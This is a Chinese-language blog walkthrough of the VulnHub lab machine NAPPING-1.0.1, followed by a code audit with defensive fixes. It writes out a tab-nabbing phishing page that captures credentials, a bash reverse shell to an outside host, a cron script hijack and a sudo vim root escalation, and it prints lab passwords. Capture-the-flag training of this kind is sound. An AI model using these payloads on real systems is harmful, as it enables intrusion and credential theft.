freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

大余每日一攻防NAPPING-1.0.1(五)
大余 2023-12-05 19:54:18 123541

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:
环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。
代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一、网络枚举

1701777053_656f0e9d5a771066ac8e7.png!small?1701777054987

1701777059_656f0ea3cf060decadfe3.png!small?1701777061233
发现IP地址:192.168.2.222

二、web系信息收集

1701777065_656f0ea95fa7aad34ddb7.png!small?1701777066263
发现是个登录界面,还可以注册,先注册一个账户试试:

http://192.168.2.222/register.php

1701777072_656f0eb015af5b0523e23.png!small?1701777072702

注册完成后登录进去:
1701777077_656f0eb5b2b270a55bcd9.png!small?1701777078652

发现有个输入框,看样子是提交连接,随便写入一个地址试试:

提交之后再点击Here会跳转到你输入的连接:
1701777082_656f0eba60343e61c9158.png!small?1701777082880
1701777087_656f0ebf3500a26ecbe0c.png!small?1701777087815

查看源代码,发现站点上有特定URL链接功能会容易受到Tab Nabbing的攻击:
1701777092_656f0ec49cea971e8800e.png!small?1701777093699

三、漏洞攻击

使用Tab Nabbing攻击,先做个钓鱼界面,首先先复制登录界面:

wget 192.168.2.222/index.php

1701777098_656f0ecacccccef171720.png!small?1701777099883
构建我们的恶意html界面:dayu.html

<!DOCTYPE html>
<html>
<body>
    <script>
    	if(window.opener) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');
    	if(window.opener  != window) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');
    </script>
</body>
</html>

1701777104_656f0ed0dd69b0fceb067.png!small?1701777105563

把自己复制的index.php和dayu.html页面放到/var/www/html下,并且开启python-http服务,开的80 端口,和dayu.html中的端口区分开:
1701777109_656f0ed5e5ed139170499.png!small?1701777110381

http://192.168.2.139/dayu.html

1701777115_656f0edb7031fc0951dd6.png!small?1701777117044
点击提交即可,监听的8000端口返回了数据包:
1701777120_656f0ee0339ad1a30b918.png!small?1701777121959

username=daniel
password=C@ughtm3napping123

得到了用户名和密码,我们可以通过ssh进行登录。

四、信息收集

ssh登录进行信息收集!可以看到daniel是管理员组的一部分,使用find我们可以查找组给可执行文件:
1701777126_656f0ee60c9cae539f622.png!small?1701777127078
查看一下query.py文件:
1701777130_656f0eeabbaa6ac1bf560.png!small?1701777131817
根据site_status.txt文件,它似乎每2分钟执行一次!

五、提权

需要先跳转到adrian用户,所以继续在/dev/shm目录中创建一个反向shell bash脚本:

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.2.139/1234 0>&1'

1701777138_656f0ef24f4045a299b54.png!small?1701777139161

需要更改一下query.py这个脚本来让他定时反弹shell:

import os

now = datetime.now()
os.system('/usr/bin/bash /dev/shm/shell.sh')

1701777143_656f0ef751f2d277d8434.png!small?1701777145714
1701777159_656f0f0709edbb5340f6b.png!small?1701777159797
过一会获得反弹shell!!

1701777164_656f0f0c31a146bc781ce.png!small?1701777164963

(root) NOPASSWD: /usr/bin/vim

发现可以再没有在没有密码的情况下以root身份运行vim,那就直接写入Vim-shell:

sudo /usr/bin/vim -c ':!/bin/sh'

1701777170_656f0f1204d2bd30b30c6.png!small?1701777170551
成功获得root权限!

六、代码审计

1701777175_656f0f179d1c851c16051.png!small?1701777176946
1701777180_656f0f1cdf0cfc0769a18.png!small?1701777181964

这段PHP代码主要用于一个博客促销站点用,让用户提交博客链接。在审计时,我们主要关注以下几个方面:
1、SQL注入

$input = $mysqli->real_escape_string($_POST['url']);
$sql = "INSERT INTO links (link) VALUES ('$input')";

在这里,real_escape_string用于转义输入,可以防止直接的SQL注入。但是更推荐使用预处理语(Prepared Statements)来提高安全性。

2、XSS攻击

$message = "Thank you for your submission, you have entered: <a href='$input' target='_blank' >Here</a>";

$input没有进行HTML转义,可能导致存储型XSS攻击。可以使用htmlspecialchars函数对输出进行转义。

3、会话管理

if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
    header("location: index.php");
    exit;
}

会话管理看起来没问题,但具体的实现可能需要更详细的审查。确保在所有关键操作之前都有适当的身份验证和授权检查。

4、数据库连接

$mysqli = new mysqli("localhost", "adrian", "P@sswr0d456", "website");

数据库连接信息直接硬编码在代码中,这样做不是最佳方法。最好将这些信息存储在配置文件中,并确保配置文件的访问权限受到限制。

5、加入验证
鉴于这是一个用户输入的博客链接,建议在接收和显示链接时进行一些验证:

1)URL格式验证

使用PHP的filter_var函数结合FILTER_VALIDATE_URL过滤器来验证URL的格式。这可以帮助排除一些格式不正确的输入。

$input = $_POST['url'];
if (!filter_var($input, FILTER_VALIDATE_URL)) {
    // 不是有效的URL
    $message = "Invalid URL format!";
}

2)白名单验证
创建一个允许的博客域名白名单,只接受这些域名的链接。可以避免接受恶意的或者不受信任的链接。

$allowed_domains = array("example.com", "blog.com");
$input = $_POST['url'];

$parsed_url = parse_url($input);
if ($parsed_url === false || !in_array($parsed_url['host'], $allowed_domains)) {
    // 链接不在允许的域名列表中
    $message = "Invalid or unauthorized domain!";
}

这里使用parse_url函数提取链接的主机名。

3)安全的显示链接
当在页面上显示链接时,使用htmlspecialchars函数对链接进行HTML转义,以防止存储型XSS攻击。

echo "You have entered: <a href='" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "' target='_blank'>Here</a>";

这些验证步骤可以根据具体需求进行调整,确保用户输入的博客链接既符合预期的格式,提高安全性。


欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。

1701237386_6566d28ad323e31f56884.png!small?1701237387378

# 漏洞 # 渗透测试 # 黑客 # 网络安全 # CTF
本文为 大余 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
大余每日攻防
大余 LV.5
没有网络安全就没有国家安全,VXID:dayuST
  • 91 文章数
  • 1074 关注者
大余每日一攻防EvilBox
2023-12-27
大余每日一攻防SNAKEOIL(十七)
2023-12-26
大余每日一攻防DEATHNOTE-1(十六)
2023-12-25
文章目录